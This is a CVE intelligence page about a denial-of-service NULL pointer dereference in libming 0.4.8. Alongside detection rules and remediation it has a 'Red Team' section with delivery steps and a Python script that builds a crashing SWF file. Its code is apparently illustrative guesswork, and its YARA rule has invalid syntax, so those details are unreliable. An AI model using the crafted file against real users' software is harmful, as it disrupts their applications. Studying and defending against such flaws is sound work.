☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H 🐛 CWE-476
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-29490

CVE-2025-29490 Denial of Service in Libming
📅 PUBLISHED: 2025-03-27 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 0.4.8
CVSS VECTOR BREAKDOWN 0.0
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-29490 is a denial-of-service (DoS) vulnerability in libming v0.4.8, a library for processing SWF (Shockwave Flash) files. The flaw resides in the decompileCALLMETHOD function, where a crafted SWF file triggers a segmentation fault (NULL pointer dereference), causing the application to crash. This vulnerability is classified as a NULL pointer dereference (CWE-476) and can be exploited locally by an attacker who convinces a user to open a malicious SWF file. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

libming is a legacy library used in some multimedia tools and decompilation utilities. It is not actively maintained and is not distributed via major package registries (NPM, PyPI, Go, Ruby). However, any application that statically or dynamically links libming to process SWF files is at risk. Users should assess their dependency on libming and consider migrating to maintained alternatives.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
  • Base Score: 5.5 (Medium)
  • Attack Vector: Local (AV:L) – requires user interaction to open a malicious file.
  • Attack Complexity: Low (AC:L) – no special conditions needed.
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must open the crafted SWF.
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: None (C:N)
  • Integrity Impact: None (I:N)
  • Availability Impact: High (A:H) – application crash leads to DoS.

Threat Level: Medium. Exploitation is trivial but requires user interaction. No remote code execution or data breach is possible.

Deep Dive & Mechanics

The vulnerability is a classic NULL pointer dereference in the decompileCALLMETHOD function within libming's SWF decompiler. When parsing a specially crafted SWF file, the function attempts to access a method pointer that has not been properly initialized, leading to a segmentation fault.

Root Cause: In decompileCALLMETHOD, the code does not validate that the method pointer is non-null before dereferencing it. An attacker can craft an SWF file where the CALLMETHOD action references a non-existent or malformed method, causing the pointer to remain NULL.

Trigger: The crash occurs during the decompilation phase when the library processes the CALLMETHOD action tag. The attacker must embed a malformed CALLMETHOD block in the SWF file.

Impact: The application using libming crashes immediately, resulting in a denial of service. No memory corruption or code execution is possible.

Vulnerable vs. Patched Code

Vulnerable Code (libming v0.4.8):

// In decompile.c or similar
void decompileCALLMETHOD(SWF_ACTION *action) {
    // ... 
    SWF_METHOD *method = getMethod(action->methodIndex);
    // No NULL check
    method->name;  // CRASH if method is NULL
    // ...
}

Patched Code (hypothetical fix):

void decompileCALLMETHOD(SWF_ACTION *action) {
    // ...
    SWF_METHOD *method = getMethod(action->methodIndex);
    if (method == NULL) {
        // Handle error gracefully
        return;
    }
    method->name;
    // ...
}

No official patch exists. Users must apply the NULL check manually or avoid using libming.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • libming v0.4.8 installed on a target system.
  • A tool to craft malicious SWF files (e.g., swftools or a hex editor).

Steps:

  1. Create a valid SWF file with a CALLMETHOD action tag.
  2. Modify the action's method index to point to an invalid or non-existent method.
  3. Deliver the crafted SWF to the victim (e.g., via email, web download).
  4. When the victim opens the file with an application using libming (e.g., swfdec or a custom tool), the application crashes.

Example Crafting (using Python):

# craft_cve_2025_29490.py
import struct

def create_malicious_swf():
    # Minimal SWF header
    header = b'FWS' + struct.pack('<I', 9)  # Version 9
    header += struct.pack('<I', 0)  # File length placeholder
    header += struct.pack('<hh', 800, 600)  # Frame size
    header += struct.pack('<H', 1)  # Frame rate
    header += struct.pack('<H', 1)  # Frame count

    # Malicious CALLMETHOD action tag
    # Tag type 0x3D (CALLMETHOD), length 2
    tag = struct.pack('<HH', 0x3D, 2)
    # Method index = 0xFFFF (invalid)
    tag += struct.pack('<H', 0xFFFF)

    # ShowFrame tag (required)
    show_frame = struct.pack('<HH', 0x40, 0)

    # End tag
    end_tag = struct.pack('<HH', 0x00, 0)

    swf = header + tag + show_frame + end_tag
    # Update file length
    swf = swf[:4] + struct.pack('<I', len(swf)) + swf[8:]
    return swf

with open('malicious.swf', 'wb') as f:
    f.write(create_malicious_swf())
print("Crafted malicious.swf")

Blue Team (Detection & Defense)

Detection:

  • Monitor for crashes in applications using libming.
  • Use file integrity monitoring to detect unexpected SWF files.
  • Deploy YARA rules (see Detection Engineering) to scan for malformed SWF files.

Defense:

  • Block SWF files at email gateways and web proxies.
  • Educate users not to open SWF files from untrusted sources.
  • If libming is used internally, apply the NULL check patch manually.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (Example – actual hash depends on crafted file)
    • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder)
  • File Names: malicious.swf, exploit.swf, *.swf
  • Network: No network indicators (local file-based).
  • Behavior: Application crash (segfault) when processing SWF files.

Detection Engineering

YARA Rule

rule CVE_2025_29490_libming_DoS {
    meta:
        description = "Detects crafted SWF files exploiting CVE-2025-29490"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-29490"
    strings:
        $swf_header = "FWS" or "CWS"
        $callmethod_tag = { 3D 02 FF FF }  // Tag 0x3D, length 2, invalid method index
    condition:
        $swf_header at 0 and $callmethod_tag
}

Sigma Rule

title: CVE-2025-29490 - libming SWF DoS via CALLMETHOD
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects crash events caused by malicious SWF files exploiting CVE-2025-29490
author: Valters IT
date: 2025-04-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\swfdec.exe'  # Example application
        CommandLine|contains: '.swf'
    condition: selection
falsepositives:
    - Legitimate SWF files with unusual structure
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-29490 - Malicious SWF file download"; flow:to_client; file.name:/\.swf$/; content:"|3D 02 FF FF|"; distance:0; within:4; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: No official patch exists. Apply the NULL check manually in the source code (see Vulnerable vs. Patched Code section).
  2. Workaround: Disable SWF file processing in applications using libming.
  3. Blocking: Block SWF files at email gateways and web proxies.

Long-Term:

  • Migrate away from libming to maintained alternatives (e.g., swftools with patches, or ruffle for Flash emulation).
  • If libming is critical, fork the project and apply security fixes.

Detection:

  • Deploy YARA and Sigma rules to detect malicious SWF files.
  • Monitor application logs for crashes related to SWF processing.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

libming
swfdec
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-29490/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.